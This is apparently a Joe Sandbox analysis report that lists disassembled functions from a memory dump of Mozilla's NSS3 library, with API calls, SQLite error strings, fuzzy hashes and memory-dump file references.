sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6C5F7EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5F7F2E

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5F7ED8, 6C5F7F08, 6C5F7F19
%s at line %d of [%.10s], xrefs: 6C5F7EE7, 6C5F7F28
database corruption, xrefs: 6C5F7EE2, 6C5F7F23

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: c2e68d1ca9f409165cfac63a79bfce4ea7393d0ab3e02b00ed413cccdf737d6c
Instruction ID: 11a3d9d7ae6d9d489f8e2ae74219312032fe39294664de212c34a3fbbcbd539d
Opcode Fuzzy Hash: c2e68d1ca9f409165cfac63a79bfce4ea7393d0ab3e02b00ed413cccdf737d6c
Instruction Fuzzy Hash: 8961C170A002059FDB09CF29CC90BAA37B2BF45358F1448A9ED285BB52D730EC46CFA0

Function 6C5DFCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5DFD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DFD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5DFE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DFE83

Part of subcall function 6C5DFEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6C5DFEFA
Part of subcall function 6C5DFEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6C5DFF3B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5DFD64, 6C5DFE26
%s at line %d of [%.10s], xrefs: 6C5DFD73, 6C5DFE35
database corruption, xrefs: 6C5DFD6E, 6C5DFE30

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: 9a7c8e8db9d923da48674f8146a085e20669fe4fef29915c3e97d4d69f748306
Instruction ID: f8b52f8f2e6dbdf8dbc5dd1c5b323f79f697c4421a8a330b48975e1c727e204b
Opcode Fuzzy Hash: 9a7c8e8db9d923da48674f8146a085e20669fe4fef29915c3e97d4d69f748306
Instruction Fuzzy Hash: B1518F71A002059FDB04CFADDD90AAEB7B1EF48308F154169EA05ABB52E731FD50CBA4

Function 6C722F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C722FFD
sqlite3_initialize.NSS3 ref: 6C723007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C723032
sqlite3_mprintf.NSS3(6C78AAF9,?), ref: 6C723073
sqlite3_free.NSS3(?), ref: 6C7230B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6C7230C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6C7230BB

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 730c050f35a21fc24e4be7c132324710734b3228a13605a4e0973480b7ce6acc
Instruction ID: d40c16d559fc85d586ee09db67bec24a23d830ebd23b3cea79d6e5ea7edb4d8e
Opcode Fuzzy Hash: 730c050f35a21fc24e4be7c132324710734b3228a13605a4e0973480b7ce6acc
Instruction Fuzzy Hash: F941C271600606AFDB10CF25D944A86B7AAFF44368F148639EC2987B40E735F955CBE1

Function 6C6A5ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(q]jl), ref: 6C6A5F0A
TlsGetValue.KERNEL32 ref: 6C6A5F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6C6A5F2F
PR_Unlock.NSS3(890008E8), ref: 6C6A5F55
PR_SetError.NSS3(00000000,00000000), ref: 6C6A5F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6C6A5F7D

Part of subcall function 6C6A5220: TlsGetValue.KERNEL32(00000000,890008E8,?,6C6A5F82,8B4274C0), ref: 6C6A5248
Part of subcall function 6C6A5220: EnterCriticalSection.KERNEL32(0F6C770D,?,6C6A5F82,8B4274C0), ref: 6C6A525C
Part of subcall function 6C6A5220: PR_SetError.NSS3(00000000,00000000), ref: 6C6A528E
Part of subcall function 6C6A5220: PR_Unlock.NSS3(0F6C76F1), ref: 6C6A5299
Part of subcall function 6C6A5220: free.MOZGLUE(00000000), ref: 6C6A52A9

Strings

q]jl, xrefs: 6C6A5EDB, 6C6A5F09

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID: q]jl
API String ID: 3150690610-1303710552
Opcode ID: 2a10d3fcd7f3dcc7f39e12458bbdaea1c2d0b5102a11b6f95f64c804418a40e2
Instruction ID: d09578a01e7b88a59bb3eafc0fe3ebecaa9497c84260a071ed4e689792d1ebe0
Opcode Fuzzy Hash: 2a10d3fcd7f3dcc7f39e12458bbdaea1c2d0b5102a11b6f95f64c804418a40e2
Instruction Fuzzy Hash: DB21D6B1D00604AFDB10DFA4EC45AEEB7B4EF09318F544039E90AA7700FB31A9558B99

Function 6C668CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C67124D,00000001), ref: 6C668D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C67124D,00000001), ref: 6C668D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C67124D,00000001), ref: 6C668D73
PR_Unlock.NSS3(?,?,?,?,?,6C67124D,00000001), ref: 6C668D8C

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

PR_Unlock.NSS3(?,?,?,?,?,6C67124D,00000001), ref: 6C668DBA

Strings

KRAM, xrefs: 6C668CF9
KRAM, xrefs: 6C668D3E

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 8270b835501c95c7981c1040cd94e5e06ce5135ab7eecfe3e0030c1a06517830
Instruction ID: 71df5769bc523673114dcbaa0c868518cedc362bc96d46a476d1fcf7beda50f4
Opcode Fuzzy Hash: 8270b835501c95c7981c1040cd94e5e06ce5135ab7eecfe3e0030c1a06517830
Instruction Fuzzy Hash: ED2191B1A04601DFCB00EF7AC48459EB7F0FF4A308F15896AD89887B11D734E842CBA6

Function 6C760ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C760EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C760EFA

Part of subcall function 6C64AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C64AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F2B

Strings

Aborting, xrefs: 6C760EB3
Assertion failure: %s, at %s:%d, xrefs: 6C760ED9, 6C760EE5, 6C760F06, 6C760F0B

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: d59ad63bf2ffd7cb1fc21767a24e4fe708ad480565092c35a38d5f65aa5a29ae
Instruction ID: 3f3598f6e4d24fa77333da7899d060b1aa6a50fa715b661cd241871710cbd306
Opcode Fuzzy Hash: d59ad63bf2ffd7cb1fc21767a24e4fe708ad480565092c35a38d5f65aa5a29ae
Instruction Fuzzy Hash: 8101C0B5900214BBDF01AFA5ED49CAB3F3DEF46365B004074FD0997B01D632E91087A2

Function 6C741C40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,w=dl,?,?,6C644E1D), ref: 6C741C8A
sqlite3_free.NSS3(00000000), ref: 6C741CB6

Strings

w=dl, xrefs: 6C741C44
non-deterministic use of %s() in %s, xrefs: 6C741C85
an index, xrefs: 6C741C67
a generated column, xrefs: 6C741C6C
a CHECK constraint, xrefs: 6C741C76, 6C741C81

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$w=dl
API String ID: 1840970956-3929578942
Opcode ID: adbc21476890aec29598050f06453027223276dce0d4bacb982b1ecc7e5968e9
Instruction ID: fc8d503fb807e3582604028424926bca09c96b6e3432ad649057c59e4f7662ef
Opcode Fuzzy Hash: adbc21476890aec29598050f06453027223276dce0d4bacb982b1ecc7e5968e9
Instruction Fuzzy Hash: 910147B1B002005BD704BB2CD91297177E5EFC238CB15487DEE49DBB02EB22E856C755

Function 6C724D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C724DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C724DE0

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C724DCB
invalid, xrefs: 6C724DB8
%s at line %d of [%.10s], xrefs: 6C724DDA
API call with %s database connection pointer, xrefs: 6C724DBD
misuse, xrefs: 6C724DD5

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: c0e970f983fc86db9cd2d8ad2e2f4ae5b7feda6b56081b1e3a72982cd587565d
Instruction ID: 4ff96e5e84b843b56e6a55e21a4e6191d18ebe16a132f69606180104f3a23a99
Opcode Fuzzy Hash: c0e970f983fc86db9cd2d8ad2e2f4ae5b7feda6b56081b1e3a72982cd587565d
Instruction Fuzzy Hash: 5BF0BE22A156682BD7005155DF22F86379A4F02329F8609B1EF087BB92D20AAA908295

Function 6C724DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C724E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C724E4D

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C724E38
invalid, xrefs: 6C724E25
%s at line %d of [%.10s], xrefs: 6C724E47
API call with %s database connection pointer, xrefs: 6C724E2A
misuse, xrefs: 6C724E42

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: af1dbd6d4de815b7e20467e28cf0f7d58a2eca7bb01e1d91bf0569492b6c3fbb
Instruction ID: bd7388b8e6f0b4b41a11704e9038bc3d7054eb679024a7b8990befec1b8848b1
Opcode Fuzzy Hash: af1dbd6d4de815b7e20467e28cf0f7d58a2eca7bb01e1d91bf0569492b6c3fbb
Instruction Fuzzy Hash: C2F02711F459282BF71050699F11F87379E4B02329F8954F1EF0C7BE92D30D9EA052D5

Function 6C659FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C65A086
EnterCriticalSection.KERNEL32(?), ref: 6C65A09B
PR_Unlock.NSS3(?), ref: 6C65A0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65A0E9
TlsGetValue.KERNEL32 ref: 6C65A11B
EnterCriticalSection.KERNEL32(?), ref: 6C65A12F
PR_Unlock.NSS3(?), ref: 6C65A148

Part of subcall function 6C671A40: PR_Now.NSS3(?,00000000,6C6528AD,00000000,?,6C66F09A,00000000,6C6528AD,6C6593B0,?,6C6593B0,6C6528AD,00000000,?,00000000), ref: 6C671A65

Part of subcall function 6C671940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6C674126,?), ref: 6C671966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65A1A3

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: e65cc857cf499abfa92ccf8e1a63af1c86f5c587a9fce0ec9fbd20ea2beac6f0
Instruction ID: d7b745329589c4cf52f16fb1097d40683d164b752f1c6948075c2546dc765dd8
Opcode Fuzzy Hash: e65cc857cf499abfa92ccf8e1a63af1c86f5c587a9fce0ec9fbd20ea2beac6f0
Instruction Fuzzy Hash: 3851F5B1A00201ABEB109F79DC44ABB77B9AF8634CB644439DC1997B02EF31D855C7B9

Function 6C690C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C691444,?,00000001,?,00000000,00000000,?,?,6C691444,?,?,00000000,?,?), ref: 6C690CB3

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?,?,6C691444,?), ref: 6C690DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?,?,6C691444,?), ref: 6C690DEC

Part of subcall function 6C6B0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C652AF5,?,?,?,?,?,6C650A1B,00000000), ref: 6C6B0F1A
Part of subcall function 6C6B0F10: malloc.MOZGLUE(00000001), ref: 6C6B0F30
Part of subcall function 6C6B0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C6B0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?), ref: 6C690DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C691444,?,00000001,?,00000000), ref: 6C690E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?), ref: 6C690E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?,?,6C691444,?,?,00000000), ref: 6C690E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?), ref: 6C690E79

Part of subcall function 6C6A1560: TlsGetValue.KERNEL32(00000000,?,6C670844,?), ref: 6C6A157A
Part of subcall function 6C6A1560: EnterCriticalSection.KERNEL32(?,?,?,6C670844,?), ref: 6C6A158F
Part of subcall function 6C6A1560: PR_Unlock.NSS3(?,?,?,?,6C670844,?), ref: 6C6A15B2

Part of subcall function 6C66B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C671397,00000000,?,6C66CF93,5B5F5EC0,00000000,?,6C671397,?), ref: 6C66B1CB
Part of subcall function 6C66B1A0: free.MOZGLUE(5B5F5EC0,?,6C66CF93,5B5F5EC0,00000000,?,6C671397,?), ref: 6C66B1D2

Part of subcall function 6C6689E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C6688AE,-00000008), ref: 6C668A04
Part of subcall function 6C6689E0: EnterCriticalSection.KERNEL32(?), ref: 6C668A15
Part of subcall function 6C6689E0: memset.VCRUNTIME140(6C6688AE,00000000,00000132), ref: 6C668A27
Part of subcall function 6C6689E0: PR_Unlock.NSS3(?), ref: 6C668A35

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 7c01e8e9dcb8693a346e1152ae93aebef5e802ed09be18b9235cea3c0b86db7c
Instruction ID: 8919e93143be4044245895a9d88bdb2791ed12b196d266ebd16ed6fad71729ca
Opcode Fuzzy Hash: 7c01e8e9dcb8693a346e1152ae93aebef5e802ed09be18b9235cea3c0b86db7c
Instruction Fuzzy Hash: DC51D9F5D002019FEB109F64DC85AAB37A8EF4A318F150464ED1997B12FB31ED1987AE

Function 6C646E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C646ED8
sqlite3_value_text.NSS3(?,?), ref: 6C646EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C646FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C646FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C646FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C647010
sqlite3_value_blob.NSS3(?,?), ref: 6C64701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C647052

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
